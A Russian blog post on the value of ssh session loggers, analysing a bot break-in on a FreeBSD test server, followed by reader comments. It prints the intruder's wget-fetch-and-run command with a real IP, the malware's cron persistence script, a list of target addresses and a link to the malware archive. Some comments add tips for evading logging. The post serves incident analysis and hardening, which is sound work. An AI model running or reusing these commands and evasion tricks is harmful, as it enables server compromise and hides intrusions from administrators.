Серверное malware или зачем нужны ssh-логгеры

Доброго времени суток. Хочу рассказать вам о полезности ssh-логгеров.
В качестве серверной системы я предпочитаю использовать FreeBSD. И, как правило, устанавливаю termlog – системная утилита для логгирования ssh-сессий всех пользователей. К сожалению, сейчас в 9 версии termlog помечен как broken, потому что utmp был признан устаревшим и заменен на utmpx, поэтому termlog работает максимум только на 8 версии с небольшой правкой исходников:
Файл fileops.c, функция snp_setup
+       logname[rindex(logname,'/')-logname] = 'D';
         sm->fp= fopen(logname, "w");


Будем все же надеяться, что termlog перепишут для 9-й версии, потому что это очень полезная утилита. И вот почему. Однажды на тестовом сервере, который имел dyndns адрес и использовался для экспериментов, я установил termlog и создал пользователя test с паролем test, на котором проверял работу termlog, после чего благополучно забыл об этом пользователе. Спустя некоторое время, я обнаружил записанную ssh-сессию пользователя test, о котором кроме меня никто не знал:

;; Session started: 2012-01-09 16:52:36.811241
;; Username: test
;; TTY line: pts/0
$ w
 7:52PM  up 1 day,  4:07, 1 user, load averages: 0.00, 0.00, 0.00
USER             TTY      FROM              LOGIN@  IDLE WHAT
test             pts/0    techsrv-kvm.vpsh  7:52PM     - w
$ passwd
Changing local password for test
Old Password:
New Password:
Retype New Password:
$ cd /var/tmp
$ ls -a
.		..		vi.recover
$ mkdir ...
$ cd ...
$ 
$ wget http://85.112.29.165/kde.tgz ; tar zxvf kde.tgz ; rm -rf kde.tgz ; cd .kde ; chmod +x * ; ./start.sh
--2012-01-09 19:56:12--  http://85.112.29.165/kde.tgz
Connecting to 85.112.29.165:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 218392 (213K) [application/x-gzip]
Saving to: `kde.tgz'


 0% [                                       ] 0           --.-K/s              
 4% [>                                      ] 9,544       36.9K/s              
11% [===>                                   ] 24,988      48.2K/s              
22% [=======>                               ] 48,856      63.1K/s              
39% [==============>                        ] 86,764      83.9K/s              
58% [=====================>                 ] 127,480     99.1K/s              
72% [===========================>           ] 158,368      102K/s              
76% [============================>          ] 166,792     91.8K/s              
80% [==============================>        ] 176,620     86.7K/s              
94% [===================================>   ] 206,104     90.7K/s              
100%[======================================>] 218,392     95.3K/s   in 2.2s    

2012-01-09 19:56:15 (95.3 KB/s) - `kde.tgz' saved [218392/218392]

x .kde/
x .kde/1
x .kde/autorun
x .kde/b
x .kde/b2
x .kde/bang.txt
x .kde/cron
x .kde/crond
x .kde/dir
x .kde/f
x .kde/f4
x .kde/fwd
x .kde/j
x .kde/j2
x .kde/mech.help
x .kde/mech.set
x .kde/run
x .kde/s
x .kde/sl
x .kde/start.sh
x .kde/std
x .kde/stealth
x .kde/stream
x .kde/talk
x .kde/tty
x .kde/update
x .kde/v2
x .kde/x
./start.sh: /#bin/bash: not found
* * * * * /var/tmp/.../.kde/update >/dev/null 2>&1
ELF binary type "0" not known.
crond: 1: Syntax error: "(" unexpected
$ rm -rf *
$ cd ..
$ ls -a
.	..	.kde
$ rm -rf .kde
$ w
 7:56PM  up 1 day,  4:11, 1 user, load averages: 0.22, 0.07, 0.02
USER             TTY      FROM              LOGIN@  IDLE WHAT
test             pts/0    techsrv-kvm.vpsh  7:52PM     - w
$ exit


Итак, что же это было? Очевидно, что некий бот гуляет по просторам Интернета и пытается подключиться к серверам с открытым 22 портом, используя простые пары логин, пароль вида test, test или user, pass. И должен признать, у него получилось. Он угадал имя и пароль случайно забытого мною пользователя и сумел войти в систему. Что же он делал дальше? Первым делом, он сменил пароль пользователю test, и подготовил для себя директорию «…»
$ passwd
$ cd /var/tmp
$ ls -a
.		..		vi.recover
$ mkdir ...
$ cd ...

После чего скачал kde, распаковал его и попытался запустить распакованное.
wget http://85.112.29.165/kde.tgz ; tar zxvf kde.tgz ; rm -rf kde.tgz ; cd .kde ; chmod +x * ; ./start.sh

Как вы уже могли догадаться, там было вовсе не kde, а кое-что гораздо менее безобидное. При распаковке этого архива Miscrosoft Security Essentials нашел 4 угрозы:

Backdoor, flooder и DoS угрозы! А по первому я так ничего и не смог нагуглить. Неслабо, теперь разберемся, как же он внедряется в систему.
Судя по всему начинается все отсюда — ./start.sh
/#bin/bash
./autorun
./run

Здесь вызываются 2 скрипта autorun, который автоматизирует запуск и собственно сам запуск — run.
Взглянем на ./autorun
#!/bin/sh
pwd > dir 
dir=$(cat dir) 
echo "* * * * * $dir/update >/dev/null 2>&1" > cron
crontab cron
crontab -l | grep update
echo "#!/bin/sh
if test -r $dir/mech.pid; then
pid=\$(cat $dir/mech.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > update
chmod u+x update

Сначала бот зачем-то использует файл dir в качестве буфера что бы получить в переменную dir абсолютный адрес к текущему каталогу. Хотя мог бы просто использовать dir=`pwd`, возможно файл dir используется где-то еще каким-нибудь другим скриптом для получения текущего каталога.
pwd > dir 
dir=$(cat dir) 

Затем пишет в файл «cron» задание на постоянный запуск скрипта update зануляя вывод ошибок и отчетов и добавляет этот файл с заданием в планировщик крон.
echo "* * * * * $dir/update >/dev/null 2>&1" > cron
crontab cron

После чего еще и проверяет, добавилось ли задание
crontab -l | grep update

Видимо сессия пишется и на той стороне, и кто-то просматривает успешность внедрения. Или это все как-то автоматазировано.
А теперь бот формирует update скрипт, который запускает скрипт run если он не запущен и если запуск уже был произведен то, размножается посылая основному процессу сигнал CHILD. В задании указано время * * * * *, следовательно каждую минуту будет формироваться новый дочерний процесс.
echo "#!/bin/sh
if test -r $dir/mech.pid; then
pid=\$(cat $dir/mech.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > update
chmod u+x update

Скрипт run содержит вызов crond, который судя по всему запускает все backdoor-ы flooder-ы и прочие гадости из папки kde и является бинарным файлом. Антивирус ругается именно на файл stealth.
#!/bin/sh
export PATH=.
Crond

А вот эта строчка из лога ssh-сессии дает понять что бот ошибся в синтаксисе. Видимо скрипт не был протестирован на FreeBSD 8 и использует в бинарном файле shell команды.
ELF binary type "0" not known.
crond: 1: Syntax error: "(" unexpected

Также я заметил файл bang.txt в которым был список ip адресов с портами вида:
62.231.97.194:25
193.226.151.44:80
81.196.51.19:1025
193.231.212.123:80
80.97.145.79:80
81.196.102.250:443
81.196.119.21:1025

Скорее всего это список целей для DoS или Flood атаки. Смотрите kde.tgz (пароль от архива — habr), если кому интересно скачивайте и смотрите, может быть ip адрес вашего сервера тоже в списке.
Подведем итоги
  1. Использование ssh-логгеров может быть очень полезным. Если ваш сервер взломали, то вы можете узнать, как это сделали и закрыть дыру. Злоумышленник может, конечно, потереть лог ssh-сессии, но маловероятно, что он будет тратить на это время. К тому же если это еще и бот.
  2. Серверные malware опасны не менее клиентских, так как зомбируют unix серверы и используют их в своих грязных целях.
  3. Соблюдайте элементарные правила безопасности — используйте ssh-ключи или устойчивые к перебору пароли, в случае необходимости использования паролей, и меняйте их периодически.
  4. Используйте хороший антивирус или ОС не windows семейства. На многих хостингах для ftp и ssh используется один и тот же аккаунт. Таким образом, если у вас троян на вашем компьютере, то он может украсть ваш логин и пароль от вашего сервера из ftp менеджера и злоумышленник сможет использовать, что бы успешно авторизоваться по ssh, ну а что бывает дальше, я думаю итак понятно.
  5. Проверьте список заданий назначеных в cron, init.d, rc.d и т.д на вашем сервере. Вполне может быть что ваш сервер зомбирован, а вы об этом не знаете.
  6. Удаляйте тестовые аккаунты, когда они становятся не нужны.


Я намереваюсь продолжить цикл статей на эту тему обзором ssh-логгеров под разные unix-системы и написанием серверного антивируса, который будет перехватывать обращения к файловой системе через ядро и проверять вносимые изменения, уведомлеять/блокировать/делать резервную копию заражаемого файла.

Решение по правке исходников termlog найдено на forum.lissyara.su

Similar posts

Ads
AdBlock has stolen the banner, but banners are not teeth — they will be back

More

Comments 57

    +35
    Просто бот пытается скомпилить KDE на FreeBSD! :)

    По теме: для этих же целей использую полное логирование bash в syslog на удаленный сервер (для 3.х нужен патч, в 4.х уже есть в исходниках)
      0
      А как насчет виртуальной машины для таких целей?

      Легко поднимается, при каждом проходе через неё (восстанавливать из бекапов)
      +6
      6. Удаляйте тестовые аккаунты, когда они становятся не нужны.
        0
        добавил в статью
          +3
          Было б много плюсов поставил бы все.
          А еще
          www.freebsd.org/doc/handbook/audit-config.html
          И auditd для линуксов.
            0
            Я бы начал с: 1. установите fail2ban или аналогичную утилиту блокировки попыток
            +4
            Глупый бот. Что-либо в стиле «wget something/bad?`uname -s` -O- | sh» было бы куда менее диагностируемо, особенно если это был бы shar.

            И да, судя по тому, что wget был неоднократно дернут, это, вероятно, был не бот, а вполне живой человек.
              +6
              > Использование ssh-логгеров может быть очень полезным.

              Вообще-то, в первую очередь, «очень полезным» будет не создавать (и не забывать) на сервере логин test с паролем test. :-/
                0
                согласен с вами, но человеческий фактор всегда был и будет, именно для этого нужны ssh-логгеры. Да и взлом сервера через уязвимости и брутфорс никто не отменял, хорошая память не спасет вас от malware :-)
                  +4
                  В случае взлома сервера через уязвимости termlog может не помочь.
                    0
                    ну, помочь то он, может и сможет, но толку от этого…
                    только переустановка/восстановление из бекапа
                      +3
                      Откровенно говоря, если бы это был мой сервер, то переустановка/восстановление из бекапа произошли бы и в описанном автором поста случае, потому что сервер так или иначе скомпрометирован. На заборе в termlog'е одно написано, а на деле там, может быть, была эксплуатация какой-нибудь пока неопубликованной локальной уязвимости. Мне проще один раз перезалить сервер и успокоиться, чем потом годами проверять систему после каждого CVE, декларирующего локальную уязвимость одной из библиотек, установленных на момент компрометации у меня в системе.

                      Так что пользу в termlog'е я вижу только одну: когда ко мне придут из БСТМ МВД РФ и спросят, какого [SKIPPED] мой сервер принимал участие в DDoS-атаке на сайт duma.gov.ru и во взломе сервера zakupki.gov.ru, мне будет что показать им в ответ. Есть (небольшая) вероятность, что на этом общение с МВД по инциденту ограничится. Но применять его для целей вида «если ваш сервер взломали, то вы можете узнать, как это сделали и закрыть дыру»… да упаси Господи. Сами применяйте.
                        0
                        ну я в комментарии ниже об этом, в общем-то и сказал.
                        компрометация — нафиг нафиг, отключить от внешней сети, развернуть из бекапа (диффы файловые тоже могут помочь), обновить всё что можно, проверить все конфиги те, что можно и потанцевали дальше.

                        но чаще и проще — слить конфигурацию сервисов/дампы баз — и в переустановку, и потом проверить еще конфиги
                          0
                          Ну ок, развернулся из бэкапа — а тебя же опять же через эту же дыру поимеют. И так до бесконечности, если не понять, что именно происходит.
                            +1
                            кажется, фразу про «отключить от внешней сети» пропустили? ну для анализа — вон вообще песочницы, виртуалки и тотальный разбор по байтикам…
                              0
                              а, да, пропустил.
                    +1
                    После того как вас взломали никакие логи уже не помогут.
                  +3
                  Не подскажите аналог termlog под linux, желательно чтобы был пакет в дебиане.
                    +1
                    DmZ писал про «полное логирование bash в syslog», еще возможно вам стоит посмотреть в сторону watch, но там придется придумывать костыли с записью. В следующей статье я буду делать обзор ssh-логгеров, я постараюсь осветить это вопрос.
                  • UFO just landed and posted this here
                      +3
                      Тут не только логгер нужен. Как минимум плюсом нужен блеклист, межсетевой экран, настройка sudo и настройка sshd.
                        0
                        ловил что-то похоже, но пользователь был создан не мной, а пакетом oracle-validated. конечно же сам лошара, надо внимательнее читать документацию :)
                        после этого, как бы не были сложны пароли на вход по ssh, заход на сервера только через openvnp, ssh во внешку закрыт.
                          0
                          закроет вам провайдер туннели и до свиданья, мой любимый город. у товарища вон туннели закрыли. вместе с портами самбы для dhcp юзеров.
                            0
                            Разве нельзя ограничить: а) круг юзеров для которых разрешен вход через ssh, б) количество новых конектов к ssh (против брута)?
                              0
                              можно, да и нужно по сути всегда делать. но мне спокойней именно в моем варианте
                                0
                                Долго же у меня эта статья лежала в списке для чтения…
                                Есть прекрасная статья о защите ssh, где перечислены все хорошие методы защиты, вот она. Эту, хабровскую, статью не читал, ибо разрешать вход по логину и паролю — сам себе злобный буратино.
                              +1
                              Когда начал читать, думал, что все, кто залогинился под test/test будут автоматически забанены по IP.

                              И да, я почти уверен, что это был живой человек
                                +2
                                Только ssh2, только по ключам, только хадкор! :)

                                Уже давно перевел аутентификацию на серверах только по ключам, поставил fail2ban, две неправильные авторизации и бот отправляется отдыхать на 30 минут (ошибиться в ключе благонадёжному пользователю невозможно, поэтому такой суровый лимит). За сутки fail2ban отсекает несколько сотен таких ботов с логинами test, php, apache и им подобными.

                                У такой схемы есть явный недостаток, а именно возможность устроить DDoS на iptables, но я пока не сталкивался.
                                  0
                                  Поддерживаю обеими руками — ЗА! Сам я использую только ключи для SSH, авторизация с обычными паролями везде запрещена, одни положительные эмоции.

                                  Про DDoS интересно — каким образом?
                                    0
                                    Видимо все же DoS. Путем дикого увеличения кол-ва правил(??). Но, сдается мне, что скорее боты канал засрут мусорными запросами, нежели файрволл запорят. Тогда уже вполне ddos выдет :)
                                      0
                                      ААА, я понял, ну значит надо не fail2ban использовать, а делать одно правило с использованием модуля hashlimit, например.
                                    0
                                    перевесьте порт ssh на какой «высокий» порт и логи с test/php/admin/toor прекратятся
                                    для ботов слишком напряжно по всем портам бегать
                                    +2
                                    Тут у меня в ирке товарищи интересуются: вы после бота пароль пользователя test сменили? Вообще, IP-адрес вашего сервера не подскажете на поиграться? :-)
                                      +1
                                      Статейка интересная, понравилась, плюсанул.

                                      Внесу свои 5 копеек. А тестовому аккаунту нельзя было изначально дать только локальный вход в систему? Тогда бы и инцидента-то не произошло бы.
                                        +1
                                        необходимо было протестировать именно удаленный вход и запись команд в лог-файл разными пользователями.
                                          +2
                                          То есть, тестировали новый метод защиты, для которого это потребовалось. Через этот же метод защиты вас, получается, ломанули. И через него же вы отловили взлом. Есть в этом что-то по-буддистски самодостаточное.
                                        +1
                                        Пользуясь случаем спрошу: а что все здесь собравшиеся думают о port knocking, например? Для «своих» можно открыть 22 порт без плясок, для «левых» заходов достаточно сообщить комбинацию «стуков» по портам, а нехорошие ребята в пролёте.
                                          +1
                                          Использую такое лет 10 уже. Отличное и простое решение.
                                          +3
                                          Простите, но каким же идиотом надо быть.
                                          первое — тестовые сервера в песочнице.
                                          второе — доступ по ssh с ограниченного списка IP для «тестовых/временных» аккаунтов + авторизация по ключу.
                                          третье — переопределить ssh-listen порт дело одной строки и рестарта сервиса, и не забыть на gateway nat поправить.

                                          А даже обычного аудита, помнится, хватало для того чтобы в почту всем админам свалилось письмо «сервер такой-то, создана учетка такая-то.»

                                          PS в некоторых компаниях это повод получить трудовую на руки с увольнением по статье.

                                          а логирование куда-то на удалёный сервер вообще хорошая штука.

                                          /me почесал свой работающий голой попой в инете windows 7/2008r2 десктоп и подумал, почем его до сих пор никто не поломал..???
                                            –1
                                            Вы все правильно говорите, но это уже «задний ум». Вообще в теории — любая система — абсолютно(!) неприступная крепость, даже без специальных мер безопасности, только лишь если все причастные к ее созданию нигде ничего не забыли. Админ не забыл удалить пользователя test/test, программист сетевого демона не забыл проверить длину считанных от пользователя значений итд. Все просто. Но такое, как показывает жизнь, даже пентагону не под силу. Все рано или поздно что-то забывают.

                                            Не говоря уже о том, что редко какая система — конечный продукт. Обычно все они динамически строятся. Только все сделали как надо — как уже, оказывается, новые требования к тем же серверам выдвинуты, и надо что-то еще доделать. Причем уже делать пора, а не думать, совместимы ли новые запросы с тщательно продуманной ранее схемой защиты. Пора — потому что бизнес не ждет.

                                            Поэтому разумные и верные идеи по реально качественной защите — очень интересны, но часто им место в фантастике и разговорах секурщиков на досуге, и редко когда в реальной жизни :-(
                                              +1
                                              Видимо, мы с Вами где-то не там работаем.
                                              Вспоминая про статьи и коды п/о NASA, где вон каждый битик выверяется, и хистори ведется десятилетиями :)

                                              Ну не знаю, я на продакшен домен групповые политики выкатывать не буду. максимум на OU.
                                              Про лезть в тот же exchange — до полного бекапа виртуалки — нини.
                                              про писать свои скрипты/софт — точно также, проверю всё, что можно.
                                            +3
                                            Вспомнилось:
                                            Давно-давно мне как-то стало интересно посмотреть на разные скрипты и код разных эксплоитов и сканеров на тот момент. Искать их было неохота (тем более, что фейка достаточно много). Вместо этого я просто сделал jail на FreeBSD/Alpha и создал что-то типа test/test пользователя.
                                            За один вечер в моем наличии была достаточна большая коллекция разного рода эксплоитов. Почти все были под Linux/x86, конечно, и на Alpha процессоре эти бинарники не запускались, а gcc не было установлено (да и многие script-kiddies на тот момент пользоваться gcc не умели все равно).
                                            А когда народ начал pr0n и варез закачивать, то я тогда остановил это безобразие.
                                              +1
                                              Троллинг хороший, годный. Теперь я знаю, как использовать завалявшуюся у меня PARISC-машинку %-)
                                                +1
                                                :):) я еще иногда подумываю про как же эту систему зовут, в общем есть пачка фейковых серверов в сети и мониторинг их на тему кто что пытается просканировать и все это сыпется в консоль. Известная софта…
                                                  +1
                                                  google: honeypot freebsd :)
                                                  honeyd, не?
                                                  +1
                                                  Ставьте! :-)
                                                  Я как-то по молодости заломал какой-то сервер от DEC с их нативным юниксом — очень необычно было, что некоторые команды там немного не такие. Первый (и единственный) опыт работы на такой системе.

                                                  Можете даже пароль в баннере указать, чтоб все заходили — все равно ж машина бездействует. А так хоть польза будет.
                                                    +1
                                                    пойду сдувать пыль со своего спаркового Fire V210 ;-)
                                                  +1
                                                  Кстати, я правильно понимаю, что бот/злоумышленник даже `export HISTFILE=""` не сделал перед выполнением своих действий, и вся его активность имеется в ~test/.bash_history? Какие-то совсем неинтересные хацкеры пошли.
                                                    +1
                                                    Если кому интересно, то заставил это безобразие работать на FreeBSD 9.0
                                                    Ссылка вот: GitHub
                                                      0
                                                      Скопировал в порт в папку work/termlog2.5 и убрал пометку broken из Makefile. Все собралось и даже заработало, но только сессии начинают записываться только после перезапуска termlog. То есть если пользователь поднял ssh-сессию и termlog рестартовал, то сессия пишется. Если пользователь просто подключился, поработал и отключился и termlog в это время не перезапускался то сессия не пишется.
                                                        0
                                                        Хм. так глубоко не копал… было просто интересно заставить работать с UTMPX, который сменил UTMP 8-й версии FreeBSD… т.е. собирается и логи пишутся. В `rc.conf` не добавлял даже…
                                                        На днях посмотрю, но уже подозреваю где проблема…
                                                        0
                                                        Вылетело из головы… #warning «only FreeBSD 9.0+!»
                                                        в 9-й FreeBSD поменяли UTMP на UTMPX и порт сломался. Без правки кода не работает. Если кому нужно — могу сделать код поддерживающий FreeBSD 8.0 и FreeBSD 9.0 одновременно…
                                                      • UFO just landed and posted this here
                                                          0
                                                          Заваривать кофе и читать!
                                                          +1
                                                          3.Соблюдайте элементарные правила безопасности — используйте устойчивые к перебору пароли и меняйте их периодически.
                                                          прошу добавить в список авторизацию _ТОЛЬКО_ по ключам.
                                                          а доступ по паролю необходимости на специальный гейт.
                                                          0
                                                          Посмотрел исходники.

                                                          Принцип действия этого termlog'а завязан на utmp… тоесть,
                                                          мне достаточно зайти на ваш сервер так: ssh -T user@server и этот логер в пролете.

                                                          P.S. Аникейный метод защиты от скрипткидисов

                                                          Only users with full accounts can post comments. Log in, please.